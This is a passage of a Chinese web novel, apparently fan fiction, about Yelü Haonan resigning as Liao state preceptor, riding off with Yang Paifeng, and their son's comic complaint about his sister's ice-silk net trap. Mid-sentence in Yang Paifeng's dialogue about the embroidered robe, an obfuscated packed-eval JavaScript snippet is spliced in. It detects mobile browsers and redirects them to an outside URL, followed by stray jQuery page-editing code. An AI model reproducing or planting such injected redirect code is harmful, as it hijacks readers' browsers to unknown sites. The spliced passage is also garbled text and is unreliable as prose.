他刻意在“政通人和”四字上,咬出一丝几不可察的、意味深长的重音。珠帘后,那规律的佛珠叩击声,倏然一顿,死寂了一瞬,仿佛被这隐含机锋的话语刺中了某根神经,才又恢复如常,只是那“嗒、嗒”声似乎比先前更慢、更沉了半分。殿中落针可闻,唯有穿堂风偶尔撩动灯焰的噗噗声。过去两年,韩德让以革新税制、整顿吏治为名,将他昔日为安置北汉旧部而安插的官职逐一替换;借整饬边军、强化防务之机,将他手中所剩不多的兵符、调令之权收归枢密院直接管辖。步步为营,温水煮蛙。今夜他这“主动”请辞,不过是给这场持续两年,心照不宣的排挤与权力剥夺,亲手画上一个看似体面,实则无奈的句号。非是甘愿,而是这“国师”之位,早已是镶金的空壳,徒惹猜忌,毫无实权,不如自己识趣些,主动摘了,或可换得一丝喘息之机。 “国师言重了。卿多年来辅佐朕躬,尽心竭力,朕岂能不知?”耶律宗真缓缓开口,声音平和,却带着天子特有的、不容置疑的距离感,那是一种事不关己的客气疏离。“只是卿既感劳顿,朕虽心有不舍,亦不愿强留贤才,空耗卿之精力。”他微微抬手,动作随意,仿佛驱赶一只无关紧要的飞虫,“准卿所请。赐金千两,帛百匹,以酬往日辛劳。望卿归隐之后,善自珍重,颐养天年。” 这番话,表面是体恤恩赏,实则字字是“你可以走了,拿着这些,安分些”。那“颐养天年”四字,用在三十有八、正值壮年的耶律皓南身上,更是透着毫不掩饰的疏远和打发意味,几乎是明示他从此远离朝堂,莫再生事。天子的目光状似不经意地掠过耶律皓南因伏地而露出的一截袖口——那绯红官袍的袖缘处,不仅金线纹饰模糊,更有肉眼可见的、经多次浆洗后的淡淡发白与极细微的织物磨损痕迹。这细节,与韩德让日前“无意”间提及的、关于国师府“用度俭省,门庭冷落,乃至清苦自持”的描述,悄然吻合。耶律宗真眼底最后一丝审视的锐光,似乎也因此淡去了些许,转化为一种近乎厌倦的确定——看来这位前国师,是当真“穷”得无心恋栈,或者说,是终于“聪明”地选择了最“得体”的退场方式。也好,省了许多麻烦。那千两金、百匹帛,便是买他从此安分的价钱,也是昭示天子“仁厚不吝”的装饰。 “臣……叩谢陛下天恩!万岁,万万岁!”耶律皓南再度深深叩首,额头触及冰凉的金砖,喉间适时地溢出一丝压抑的哽咽,将一个“心灰意冷却又感恩戴德”的辞官者形象,演绎得无可挑剔。唯有那紧贴金砖、因用力而骨节发白的掌心,泄露了他内心深处一丝真实的情绪——无关悲愤,而是一种尘埃落定、如释重负的疲惫与空茫。两年来的刻意冷落、无形打压、昔日同僚的疏远,早已将他当年那点锐气与执念磨蚀殆尽。能以此种方式“体面”脱身,已是最好结局。 就在耶律皓南以为一切将了,准备叩首领赏、谢恩告退之时,珠帘之后,一直只闻佛珠轻响的萧太后,忽然屈指,不轻不重地在御案边缘叩击了一下。 “嗒。” 一声清响,不大,却奇特地压过了殿中穿堂的风声与烛火的噼啪,清晰地落入每个人耳中,也让耶律皓南即将出口的谢恩词,堪堪堵在了喉间。 “听闻……” 萧太后的声音透过重重珠帘传来,依旧平稳雍容,不辨喜怒,却比年轻皇帝那刻意维持的平和,更多了几分岁月与权力沉淀出的、深水般的穿透力,字字清晰,直抵人心,“华山之巅,云海翻涌,气象万千,乃是天下有数的奇观。国师此去,远离俗务喧嚣,倒正好可以静下心来,摒除杂念,好好领略一番那天地造化之玄妙了。” 她的话速不疾不徐,仿佛真的只是在闲话一处名胜,然而接下来的语句,却让殿中温度骤降,“只是,华山路远,山高林密,多有毒虫猛兽,更兼……人心莫测。国师与杨夫人此番归隐,虽是雅事,也需万事谨慎,平安为上,方不负哀家与陛下的一番体恤之心。” 这番话,听起来似是寻常的慰藉叮嘱,关怀老臣旅途安危。但落在耶律皓南耳中,却不啻于一道无声惊雷!每一个字,都裹着冰碴! 华山! 她不仅知道他想归隐,更精准地点出了地点是华山!甚至特意提及“杨夫人”! 这不是关怀,这是明明白白的敲打,是居高临下的宣告: ‘你耶律皓南打什么算盘,哀家一清二楚。你自以为隐秘的归隐地,哀家早就知晓。准你辞官归隐,是看在你识趣、且我儿(皇帝)想让你滚的份上,施舍给你的恩典和体面。但你需牢牢记住,你,和你身边最重要的人(杨排风),你们的一举一动,仍在哀家的注视之下。哀家能准你去,也能……让你不得不回来。这恩典的边界与代价,你最好时刻铭记在心。’ 珠帘后,那串蜜蜡佛珠的捻动声,在话语落定后,似乎略略加快了一丝,带着一种掌控节奏的从容,又仿佛是在等待他反应的无声催促。 耶律皓南伏地的身躯,几不可察地微微一僵,尽管他立刻控制住了,但那一瞬间肌肉的紧绷,依旧未能完全逃过御座上耶律宗真锐利的目光。冰冷的金砖地面,寒意透过薄薄的官袍膝盖处,丝丝缕缕渗入骨髓,却远不及他心头泛起的冷意。他毫不怀疑,以“幽影”之能,恐怕连他与排风商议归隐细节时,窗前飞过的鸟雀,都可能成为太后的眼线。 然而,这股寒意与惊悸,只持续了短短一瞬。随即,一股混合着释然、讥诮乃至破罐子破摔的复杂心绪,猛地冲散了那冰冷的威慑。 知道又如何?监控又如何? 他缓缓地、更深的,以额触地,将脸埋入袖袍的阴影之中,也掩去了唇边一抹几近无声的、冰冷而略带快意的弧度。 幼女望舒,已托付给武功通玄、超然物外更兼护短成性的聂隐娘,玉女门岂是朝廷鹰犬轻易敢窥探招惹的?儿子朔儿,年已十五,正跟着他那看似玩世不恭,实则深不可测的师叔凌霄子浪迹天涯,行踪飘忽,自保无虞。他最珍视的牵挂,早已不在他们触手可及之处。 如今,他终于可以带着排风,离开这令人窒息的盛京,离开这权力倾轧、步步惊心的朝堂,回到华山,回到那个一切开始的地方——无论那是梦的开始,还是孽缘的纠缠。无官一身轻,或许只是奢望,太后无所不在的阴影或许将长久伴随。但只要他耶律皓南从此安分守己,不再涉足朝局,不再触碰任何可能引起猜忌的事情,这阴影,便只是一道影子。一道或许恼人、却再也无法真正束缚他灵魂与脚步的影子。 太后想用“掌控”来让他心存忌惮,乖乖听话。可对他而言,这“掌控”本身,何尝不是一种变相的“保证”?保证了他只要不越雷池,便能与心爱之人,在选定的地方,获得一份相对安稳的余生。 这笔交易,他做了。 “太后娘娘关怀,体恤入微,臣……感激涕零,铭感五内。” 他抬起头,脸上已是一片恰到好处的、混合着感动与惶恐的忠谨,声音甚至因为“激动”而微带哽咽,“臣与内子,定当日夜谨记太后与陛下教诲,安分守己,静度余生,绝不敢有负天恩!” 这番话,姿态低到了尘埃里,是臣子对天威的彻底臣服。至于这番话里有几分真,几分是表演给珠帘后和御座上的人看,就只有他自己知道了。 耶律宗真看着殿下前国师那堪称“典范”的感恩戴德模样,眼底最后一丝疑虑似乎也消散了,转而闪过一丝不易察觉的满意与厌倦——识趣就好。他微微颔首,不再多言。 萧太后捻动佛珠的手,也恢复了那不疾不徐的、规律的“嗒、嗒”声,仿佛方才那番暗藏机锋的敲打,只是例行公事的一句寻常叮嘱。 耶律皓南再次深深叩首,然后,保持着恭敬的姿势,缓缓起身,倒退着,一步一步,离开了这座象征辽国至高权力中心的正殿。每一步,都仿佛踏在过去的枷锁与未来的未卜之上。 殿外的夜风,带着草原特有的清冷与自由气息,扑面而来。他官袍上那刻意显旧的绯红,在廊下宫灯的映照下,竟似乎也焕发出了一丝别样的、近乎解脱的微光。 他知道,这场以退为进的博弈,远未结束。但至少今夜,他为自己和排风,搏得了一个离开棋盘、暂时喘息的机会。 这就够了。 沉重的朱漆宫门在身后缓缓闭合,发出沉闷的、仿佛隔断了一个时代的巨响。耶律皓南独立在汉白玉铺就的漫长御阶之上,夜风陡然变得猛烈,带着草原深处特有的、混合着青草与牲畜气息的腥气,扑面而来,吹得他绯红官袍猎猎作响,头上所戴的黑色漆纱梁冠(进贤冠)的硬质展角(帽翅)在风中急颤,发出细微的呜鸣。 他抬手,缓缓摘下了头上那顶象征其南面朝官极高身份的梁冠。冠体以漆纱制成,形制端正,前低后高,额前缀有象征身份的鎏金蝉形额花,两侧各插一根青玉簪导,冠后垂有绶带。此冠虽不似北班贵族金冠般耀眼,却代表着秩序与权位。此刻,在宫灯幽暗的光线下,它泛着内敛而沉重的乌光。他随手将冠握在手中,另一只手抽掉了那根固定的青玉簪。顷刻间,束缚已久的长发被呼啸的夜风彻底吹散,狂乱地飞舞在脸侧,掠过他不再年轻却依旧棱角分明的面庞。他仰起头,对着墨色苍穹,深深地、仿佛用尽全身力气般,吸了一口这宫墙外自由的空气。那气息冰凉刺肺,却带着前所未有的,混杂着解脱与未知的痛感。 “嗒、嗒、嗒……” 宫墙浓重的阴影里,传来一阵不疾不徐的马蹄轻响。一匹通体黝黑、神骏异常的骏马踏着夜色而来,马背上,一袭利落青衫的杨排风单手执缰,另一只手随意提着她那根从不离身的浑铁烧火棍,棍梢却挑着个半满的皮制酒囊。她勒住马,看清阶上那人披发持冠、于风中独立的模样,嘴角一扬,抬手便将酒囊抛了过去。 “接着!刚温好的马奶酒,”她的声音清亮,带着久违的飒爽笑意,“比宫里那些温吞水够劲百倍,正适合浇一浇块垒,洗洗这一身晦气。落脚处我探过了,清净,没人扰。等你脱了这身官皮,咱们立刻就走,免得夜长梦多!” 耶律皓南凌空接过酒囊,入手沉甸甸,犹带体温与奶酒特有的微烫。他拔掉塞子,仰头便灌。辛辣醇厚又带着独特腥膻气息的酒液,如一道炽烈的火线,从喉头直烧进胃腹,瞬间驱散了金砖地面的寒意与御前应对的疲惫。他不管不顾,任由滚烫的酒浆从嘴角溢出,沿着下颌,浸湿了绯红官袍挺括的前襟,留下深色的、带着酒气的湿痕。 远处宫门换防的侍卫正在交接,铠甲与兵器碰撞,发出冰冷规律的“锵锵”声,提醒着他此地仍是皇权森严的禁域。他反手用袖子胡乱抹去唇边酒渍,将手中那顶沉重的梁冠,连同那根青玉簪,随手弃于御阶旁无人注意的阴影里,如同丢弃一件再无用处的旧物。转身大步走向那匹安静等待的黑马。 “我们走。”他翻身上马,动作干脆利落,昔日的国师威仪荡然无存,唯有行伍中历练出的敏捷尚在。那身繁琐的绯红官袍在夜风中鼓荡如帆,被他随手解开腰间革带与颈间系带,竟自肩头滑脱,如一只骤然失却了生命力的、巨大而陈旧的红色禽鸟,翩然飘落于尘埃之中。里面,赫然是一身靛青色的、洗得有些发白的寻常棉布道袍,宽袍大袖,衬得他身姿挺拔而疏朗,仿佛瞬间卸下了千斤重担,那眉宇间沉积多年的郁色、算计与谨小慎微,也被这烈酒与劲风吹散了许多,露出底下些许属于“耶律皓南”而非“耶律国师”的,锐利而真实的本色。 杨排风策马与他并行,闻言侧目,借着朦胧夜色打量他片刻,挑眉轻笑,旧日调侃的口吻自然而然流泻:“哦?当年不知是谁,在华山学艺时,整天抱怨山居清苦,憋闷得要死,做梦都想下山,闯一番惊天动地的事业?” 夜风猛烈,拂动两人的衣发,也吹散了空气中残留的宫廷熏香与酒气。耶律皓南望向南方那沉沉迷雾、遥不可见的群山轮廓,沉默片刻,开口道,声音在风里显得有些飘忽,却又异常清晰:“此一时,彼一时。当年只觉天地广阔,恨不能尽在掌握。如今才明白,天地依旧广阔,只是不必再握于掌中,亦不必再为他人掌中棋子。青山绿水,方是归心之处。” 他顿了顿,语气转为低沉却坚定,“只是前路未卜,或许要委屈你,随我过一段风餐露宿、隐姓埋名的日子了。华山……我们只能先找个无人注意的角落,暂且安身。” “风餐露宿?” 杨排风嗤笑一声,手腕一抖,烧火棍在指间转了个漂亮的棍花,“我杨排风什么苦没吃过?当年跟着老太君,雪夜奔袭,渴饮刀头血,睡过马鞍桥,不也过来了?只要——” 她目光扫过他身上那件单薄道袍,声音低了下来,带着不易察觉的柔和,“只要人没事,去哪儿不是家?走吧,趁着夜色。” 两人相视一眼,不再多言,同时一夹马腹。两骑如离弦之箭,撕开浓重的夜色,向着南方,向着那未知却也自由的黑暗深处,疾驰而去。身后,巍峨的宫城逐渐融入黑暗,只剩几点孤零零的灯火,如同巨兽逐渐闭合的眼睛。 国师府内室,烛火昏黄,将满室奢华器物映照得温润朦胧。紫檀木雕花拔步床,云母螺钿镶嵌的屏风,乃至博古架上那些未必常用却件件精雅的摆设,无不昭示着主人曾经的位高权重与优渥生活。空气里,还残留着昂贵的苏合香气,丝丝缕缕,缠绕着另一种即将到来的、属于未知与漂泊的气息。 杨排风走到他面前,为他解开那身靛青道袍的系带。指尖拂过襟前以同色丝线暗绣的仙鹤云纹,纹样清雅舒展,针脚却细密无比,触手光滑沁凉——竟是上好的冰蚕丝捻线绣成,在烛光下流转着内敛而润泽的光华。她轻笑,声音在寂静的室内格外清晰:“这‘仙鹤’今日飞得倒痛快,瞧这云纹,飘逸得很, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185052|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是比那笼中‘锦鸡’(指官服补子)穿着还费银子。” 她语带调侃,指尖却在那异常柔滑的布料上多停留了一瞬。这袍子,看似朴素,实则处处讲究,怕抵得上寻常人家数年用度。 耶律皓南似乎未觉,只是目光随着她的指尖在那精细的绣纹上停留一瞬,便转身走到那张宽大的紫檀木书案前。案上原本堆积的公文已清空,冷冷清清。他从怀中取出那枚以锦囊包裹、却依旧沉甸甸的硬物——辽国国师官印。 锦囊褪去,一方寸许见方、高约两寸的玄铜官印赫然在目。印纽铸为玄武之形,龟蛇交缠,昂首向天,造型古朴威猛,龟甲纹路与蛇鳞清晰,透着国之重器的肃杀。印身四面光素,只在底部镌刻着清晰的印文——汉字与契丹小字并行,正是“敕封北院枢密国师事印”。烛光落在铜印上,泛出冷硬而内敛的幽光,昔日的权柄与荣耀,仿佛都凝固在这方寸之间。 他垂眸,静静看了片刻。眼中无悲无喜,只有一片深潭般的平静。这方印,曾是他从地狱爬回人间后,抓住的第一根、也是最有力的一根权柄之杖。他信手一抛—— “哐当!” 一声沉闷的撞击。官印落在坚硬的紫檀木案面上,甚至微微弹跳了一下,玄武印纽在光滑的案面上滑出短短一截。印文朝上,在跳动的烛火下清晰无比,却再也折射不出往日的赫赫威仪。 伸展手臂,肩背骨骼发出一串轻响。卸下的仿佛不止是官印,更是某种浸入骨髓的、名为“国师”的壳,以及这壳所带来的一切——优渥、权势,以及随之而来、他却从未真正在意过的金山银海。 “排风,”他转身,眉宇间沉积多年的阴郁与算计之色淡去许多,竟显出几分近乎天真的疏朗,只是眼角细纹刻着风霜。他唤她,语气是多年来未有的,纯粹的轻松,甚至带着点理所当然的茫然,“往后,为夫可就是一介白身了。陛下赏的那千两黄金,听着是不少,可若坐吃山空,怕也支撑不了几年。这一家子的开销……” 他顿了顿,似乎真的在思考这个“难题”,神情里有一种久居高位者谈及俗务时特有的、不自知的迟钝。他这一生,从北汉皇孙到一线天底濒死的乞儿,再到华山修道、辽国骤贵,饥饿时只求一饭活命,显达时金银如流水过手,从未真正学会如何“计算”着过日子。 “没钱了?”杨排风“噗嗤”一声笑出来,眼波流转间,灵动机敏恍如当年。她走近,伸出手指,轻轻点了点他胸口——那里是柔软昂贵的丝绸内衬。“我的耶律大人,国师老爷,您可算想起这‘俗事’了?好办呀!您可是正儿八经的华山嫡传,玄门高足,一身本事总不能荒废。明日……不,过两日咱们就找个热闹地界,我看汴京州桥夜市就不错,支个卦摊,布幡就写‘铁口直断,不准不要钱’——”她说着,踮起脚尖凑近他耳畔,吐气如兰,语带促狭,眼底闪着狡黠而温暖的光,“专渡那些心思单纯、满怀憧憬的姑娘家。你就说,‘姑娘,观你面相,额有隐凤之纹,眸光清正,他日必有贵婿,当配王侯!’保管一骗一个准,生意兴隆!赚了钱,咱们三七分账!” 烛光跳跃,将她眼角细细的纹路照得温柔,也映亮了她眼中那抹永不褪色的灵动。耶律皓南怔了怔,望着她近在咫尺的、带着戏谑笑意的眼眸,忽然被拉回到十五年前,汴京天波府侧门外那个春日的午后。 彼时,他还只是个刚从一线天底爬出不久、满心仇恨与算计、扮作游方术士接近杨家的落魄皇孙。衣衫褴褛,手臂上带着刻意弄出却显得无比真实的伤口。就是这个拎着半桶水、脸颊被厨房热气熏得红扑扑的丫头,经过他身边时,被他一句故作神秘的“姑娘,且留步。贫道观你面相,近日红鸾星动,主有奇遇”给唬得停下脚步,瞪圆了一双清澈明净的大眼睛,好奇又警惕地打量他。最终,她没给钱,却掏出一块洗得发白的旧汗巾,笨拙却小心地替他包扎了伤口,指尖的温暖透过粗布传来,让他这个在阴冷地狱里待了太久的人,有一瞬间的僵直。她还嘀咕着“你这道士,算得准不准另说,伤口可得包好,别化脓了”。那一刻,她眼里没有对他“术士”身份的轻视,只有单纯的关切。或许,最初那点星火般的好感,便始于这陌生的、不带任何目的的温暖。 记忆的闸门轰然打开。 “你那时……”耶律皓南望着眼前眼角已生细纹,却神采依旧的妻子,忽然放声大笑,那笑声畅快淋漓,震得烛火都摇晃起来。他伸手,用力将妻子揽入怀中,紧紧抱住。“我说你眉藏英气,目光清朗,不似久居人下者,当有沙场建功的际遇。你竟真信了,还……”他笑声低下来,带着回味与一丝难以察觉的微哽,“还趁着没人注意,偷偷从怀里摸出两个还温热的炊饼,硬塞给我,叫我‘快吃了,别饿着肚子骗人’。” 那两个粗糙却温热的炊饼,对他这个曾为一口吃食忍受非人折磨、后又久不食人间烟火的人而言,意义远超一切珍馐。 杨排风顺从地靠在他肩头,指尖缠绕着他披散的一缕头发。“岂止信了?”她声音闷在他怀里,带着笑意和遥远的怀念,“回府后,我还真偷偷对着铜镜找了半天‘将星痣’。后来上了战场才知道——”她仰头,故意瞪他,眼底却漾着水光与笑意,“全是你们这些走江湖的,哄人的套话!” “可我说你红鸾星动,难道没准?”耶律皓南低头,抵着她的额,望进她眼底。烛光在她清澈的瞳仁里跳跃,如同当年。“当年天波府门外那个塞给我炊饼的傻丫头,如今不是配了王侯?” “哪个王侯?”杨排风挑眉,指尖戳了戳他心口,“是那个辞了官、丢了印、明天说不定真要沦落到夜市摆卦摊糊口的……落魄前皇孙、前国师?” 两人对视,从彼此眼中看到那个遥远的春日午后,看到这些年的烽火、算计、身不由己,也看到此刻卸下一切后,只剩彼此的真实。复杂的情绪涌上,最终化为畅快的大笑。笑声惊动了梁上燕。 耶律皓南将下巴轻搁在她发顶,嗅着她发间淡淡的皂角清气。“排风,”他声音低哑,手指抚过她眼角细纹,“跟着我,让你受苦了。” 这话他说过无数次,在心里。唯有今夜,轻得像叹息,却重如承诺。 杨排风没有说“不苦”。她伸手,指尖描摹过他道袍下空荡荡的腰际——那里原本悬着沉甸甸的国师印绶。“知道就好。”她狡黠一笑,恍如当年偷师枪法得逞时的模样,“所以,往后摆卦摊,赚的钱得三七分账——我七你三。毕竟,”她拖长声音,眼中闪着慧黠的光,“若无我这个知晓内情、机灵配合的‘托儿’在旁帮腔,谁信你这满口玄虚的‘前国师’?再说了,就凭您老人家这‘出手阔绰、不识米价’的性子——怕是给人算一卦,赚的铜板还不够您随手赏给旁边卖唱小丫头的!” 她说得戏谑,却一针见血。耶律皓南摸了摸鼻子,无法反驳。从地狱爬出后,他被师尊收养,华山清修,不染铜臭;被逐下山,机缘巧合以巫术得辽主赏识,一跃成为国师,更是赏赐无数,用度奢靡已成习惯。金银于他,不过是触手可及或无关紧要的东西,他从未真正理解过“柴米油盐”四个字的分量。这件看似朴素的“寻常”道袍,其用料、做工、绣工,乃至熏染的淡香,无一不精,价值恐怕堪比中等人家一年的嚼用。他对自己这“致命”的习性,其实隐约有觉,却从未真正在意,此刻被妻子点破,只能苦笑,眼底却满是暖意与依赖。 酒杯轻轻相碰,清响如磬。 窗外,更夫梆子声传来,三更天了。 案上,玄铜官印静静躺着,在烛晕下像一件普通的旧物。 “啪。”烛花爆出一朵明亮的灯花。 杨排风拿起小银剪,剪去烛芯。火光稳定下来,室内重归平静。 在这看似寻常的夜里,有一对夫妻,终于卸下了背负多年的重担与名位。前路或有风雨清贫,但此刻烛下相依,便是人间至暖。而他那些“挥金如土”的习惯与对俗务的懵懂,或许将是他们平凡余生里,甜蜜而令人头疼的新课题。 25. 雏凤清声 夜色澄澈如洗,月华似水银泻地,将小小庭院照得纤毫毕现。庭中那株老梧桐筛下满地碎银般的光斑。耶律皓南与杨排风正对坐在树下的石桌旁,就着月色与一盏风灯,慢品一壶新沏的君山银针。茶烟袅袅,混着夜来香的清芬,正是卸下重担后难得的宁谧时光。 忽地,月门处“砰”一声巨响,一道身影踉跄撞入,惊得栖息在檐下的雀鸟扑棱棱乱飞。 十五岁的刘朔,此刻模样着实狼狈不堪。原本束得齐整的发髻散乱如狂风席卷过的鸟窝,几缕头发被汗水黏在额前颊侧,那身浅青色锦缎劲装的下摆,赫然撕裂了三寸有余的长口子,边缘还挂着几根疑似荆棘的细刺。脸上尘土混着汗渍,东一道西一道,活像在泥地里滚过。最惹眼的是他那双总是神采奕奕的眼睛,此刻瞪得溜圆,里面写满了不敢置信、憋屈,还有那么一丝……被至亲之人“背叛”后的伤心愤怒。 “爹!娘!你们可要给我做主!妹妹她……她学坏了!被那个聂掌门带歪了!”少年连行礼都忘了,一个箭步冲到石桌前,抓起他爹手边那杯还没喝过的茶,仰头“咕咚咕咚”牛饮而尽。喝得太急,呛得咳嗽起来,脸涨得更红。他胡乱用袖子抹了把嘴,就开始竹筒倒豆子般控诉起来,声音又急又委屈,还带着长途奔波的喘息。 “我、我按师傅给的密道图,费了老鼻子劲,从玉女峰后山那条据说只有猴子才爬得上去的险道,偷偷摸进她们道观,本想给妹妹一个惊喜……” 他说着,猛地扯开已然松散的衣领,露出脖颈上一道寸许长、颜色浅金、微微凸起的奇异勒痕,在月光下泛着冰冷的微光,“谁知我刚鬼鬼祟祟……啊不,是刚悄没声儿踏进那道观的门槛,连妹妹的影儿都没瞧见!一张银光闪闪、看着就值钱得要命的大网,就这么当头罩了下来!” 他比划着,心有余悸:“那网子邪门得很。看着轻飘飘的,实则不知什么材质织的,我随身带的精钢匕首划上去,连道白印都没有。我运起师傅亲传的‘离火诀’,掌心都能熔金化铁了,对着那网子烧了半晌,你们猜怎么着?它连颜色都没变一下!喏,就剩下这半截!” 他从袖中抖搂出小半截约三寸长、细如发丝、呈现出一种奇异焦黑状的丝线。那丝线一接触夜风,竟仿佛活了过来,微微舒张,表面流转开冰裂纹理般晶莹剔透的光泽,寒意逼人。 “这还不算最气的!”刘朔越说越激动,模仿起当时的情景,捏着嗓子学那小道童稚嫩却一本正经的腔调:“‘此网乃西域百年冰蚕王所吐之丝,佐以北海鲛绡、昆仑雪银,由我家聂祖师亲手织就。刘师姐吩咐了,市价万金一寸,有价无市。师姐还说,能破此网者,方有资格踏进山门,当她哥哥。”他学完,气得直跺脚,把青石地砖踩得闷响,“爹!娘!你们听听!这叫什么话?我好歹是华山陈抟老祖嫡系再传、凌霄子道长亲授、板上钉钉的第三代首徒!居然、居然被个看门的小道童,用‘万金一寸’的银票……不是,是用银票价给砸晕了!憋屈!太憋屈了!” 杨排风一直安静听着,此刻忽然轻笑出声,摇了摇头,眼中却掠过一丝了然与隐约的赞赏。她伸手,用指尖极轻地碰了碰那截冰蚕丝,触手寒意刺骨,绝非人间凡物。“这般阔绰又刁钻的手笔,倒十足十是聂隐娘方能教出来的脾性。”她收回手,对耶律皓南道,“你可还记得?去年聂掌门来信,轻描淡写提了一句,说得了前朝某位贵妃遗下的一顶冰蚕帐,觉得料子尚可,便改了改,给新收的小徒弟练练手眼身法——原是用在这儿,给咱们朔儿当‘见面礼’了。” 刘朔见母亲非但不心疼,反而有点赞赏之意,更委屈了,腮帮子都鼓了起来:“我被那破网子吊在道观门口那棵老歪脖子树上,整整一天一夜,喝了一肚子山风!直到第二天日头都快偏西了,那丫头才施施然出来,手里还拿着块啃了一半的蜂蜜糕!” 他忽然压低嗓音,挤眉弄眼,竭力模仿七岁女童那副故作老成、却又掩不住稚气的语调和小动作:“她一边舔着手指上的蜜糖,一边仰着小脸对我说:‘笨哥哥哟,你怎么还是这么傻?江湖上最会坑人?也最难防的,从来就是自家人。你当我为何每次偷吃糖葫芦、桂花糕都不躲着你?便是要你习惯我的路数,放松警惕呀。’” “咳咳!”一直沉默品茶的耶律皓南,突然被茶水呛到,剧烈咳嗽起来,耳根隐隐发热。他想起上月收到女儿那封厚厚家书,小丫头在信末用歪歪扭扭的字迹抱怨“哥哥最讨厌,总拦着不让我吃第三块玫瑰酥”,旁边还画了个吐舌头、翻白眼的鬼脸。当时他只当是小女儿撒娇涂鸦,一笑置之,如今串联起来……那哪里是抱怨?分明是战书!是这小魔头早就布下的心理陷阱! “她还说!还有呢!”刘朔气得脸颊鼓成了包子,继续控诉,“那丫头把最后一点蜂蜜糕塞进嘴里,拍拍小手,一副小大人的模样对我说:‘师傅说过,说对不起的人,多半马上要做更对不起你的事。所以呢,我不道歉。’ 然后,她从怀里掏出这本玩意儿,唰一下丢给我,说‘直接送你份厚礼,补偿你喝一天西北风!’” 一本用金箔包着书角、装帧极其考究华丽的册子,从他怀中滑落,“啪嗒”掉在石桌上。书页间,还夹着一张折叠整齐、质地优良的官契文书。杨排风眼疾手快,拿起那张纸,就着明亮的月光细看。契纸右下角,一方朱红印章赫然在目,印文古奥,气息苍茫。她看清内容,又看了看印章,忽然“噗嗤”一声,笑得肩膀直抖,将契纸递给耶律皓南。 “你瞧瞧,聂掌门这手笔……真是……” 她笑得说不出完整话。耶律皓南接过一看,竟是一张玉女峰脚下、沿河三百亩上等茶园的转让地契,受让人清清楚楚写着“刘朔”,而出让方印鉴,正是聂隐娘独门徽记。契纸背面还有一行娟秀小楷备注:“茶园所出,半数为峰上茶资,半数赠予小徒兄长,权作惊吓之赔。” 耶律皓南抬头,与妻子对视,均在对方眼中看到同样的了然与一丝无奈的好笑。杨排风道:“我记起来了。去年聂隐娘信中提过,说‘小徒嗜甜恐伤齿,老身恰于山脚偶得一片茶林,便赠予她,嘱其以清茶解腻,亦算雅事。’ 当时还纳闷,何等‘茶林’需她特意一提,原来竟是三百亩良产茶园!这‘拜师礼’,未免也太过厚重了些。” 这已不是简单的宠爱,简直是毫无原则的娇惯与撑腰! 夜风送来远处坊市隐隐的更鼓声。耶律皓南忽然起身,踱步到那株老梅旁,信手折下一段半枯的梅枝。他走回桌边,梅枝的尖端极其轻柔地点向那截冰蚕丝。 “叮——” 一声清越悠扬、如古玉磬撞击的脆响,蓦然在寂静的月夜中荡开,余韵袅袅。那截冰蚕丝受此一击,表面流转的冰裂纹光泽骤然明亮了一瞬,又迅速黯下。 “离火诀性烈刚猛,讲究的是一往无前,焚尽万物。但你用错了地方,也用错了方法。”耶律皓南声音平静,带着师长指点弟子时的沉稳,“这冰蚕丝至阴至寒,韧性无双,你以离火直取中宫,正犯了水火相激之大忌,不仅难伤其分毫,反被其中蕴藏的极寒之气逆冲经脉,故而束手无策。” 他手腕微转,梅枝不再硬碰,而是贴着冰蚕丝那细微的、几乎难以察觉的纹理转折处,轻轻一挑,一拨——动作行云流水,带着某种奇异的韵律。 “嘶……” 一声极轻微的、仿佛冰雪消融的声响。那截坚硬逾铁、火烧不坏的冰蚕丝,竟随着梅枝的挑拨,应声而散,化作数十点细碎的金色光尘,在月光下闪烁了一瞬,便悄然湮灭,只余一丝若有若无的寒意。 刘朔瞪大了眼睛,张着嘴,彻底呆住。他想起三日前,自己仗着身手偷偷潜入玉女峰道观时,隔着花窗瞥见的那一幕——妹妹刘望舒穿着一身小小的、素白道袍,正端坐在书案前,悬腕临摹王羲之的《快雪时晴帖》。七岁女童,笔力稚嫩,但架势十足。而就在法帖旁边,还摊开着另一张绢帛,上面以朱砂勾勒着一幅复杂如蛛网、星罗棋布的图案。当时他心系妹妹,未曾细想,此刻回忆起来,那蛛网纹路的走向、节点,与困住自己的冰蚕巨网的编织脉络,何其相似! “妹妹她……她何时……学了这些奇门遁甲、机关阵法?”刘朔的声音有些发干,带着难以置信。他一直以为妹妹在玉女峰只是学些修身养性,强身健体的功夫,顶多再加上聂隐娘威震天下的剑法,何曾想过会是这些? “不是奇门遁甲,也非寻常机关。”杨排风忽然开口,手中那根伴随她多年的烧火棍不知何时已点向地上那些尚未完全消散的金色光尘残余。棍尖吞吐着若有若无的气劲,引导着那些光尘缓缓流动、排列。“朔儿,你仔细看。” 刘朔凝神看去,只见在母亲内力的巧妙牵引下,那些细碎光尘竟渐渐在空中勾勒出隐约的轨迹,那轨迹……他越看越心惊,那分明是北斗七星的排布!只是这星图似乎有些不同,斗柄指向诡谲,带着一股肃杀之气。不待他细想,杨排风手腕一抖,烧火棍划了个半圆,那些光尘轨迹随之骤然一变,星辉流转,竟隐隐化作另一幅更加凌厉、充满凶煞之气的图阵——白虎衔尸! 虽然只是光尘虚影,但那股扑面而来的凶戾锋芒,让刘朔脖颈后的汗毛都竖了起来! 耶律皓南与杨排风对视一眼,都从对方眼中看到了深深的震惊与一丝难以言喻的复杂情绪。七岁稚童,竟能将北斗生杀、白虎凶局这等高深玄奥的阵图意蕴,化入冰蚕丝的编织纹理之中!这已非简单的“天赋奇才”可以形容,这简直是妖孽!聂隐娘到底教了她什么?又或者说,这小丫头自己,悟到了什么? “嗖!” 墙头忽然传来一声轻响。众人抬头,只见凌霄子倒挂着从墙外探进半个身子,道袍下摆垂落,在夜风中晃荡。他鼻子抽动两下,眼睛瞬间亮了:“咦?这味儿……冰蚕丝?还掺了星屑沙?朔儿!你是不是摸上玉女峰,见着你妹妹了?” 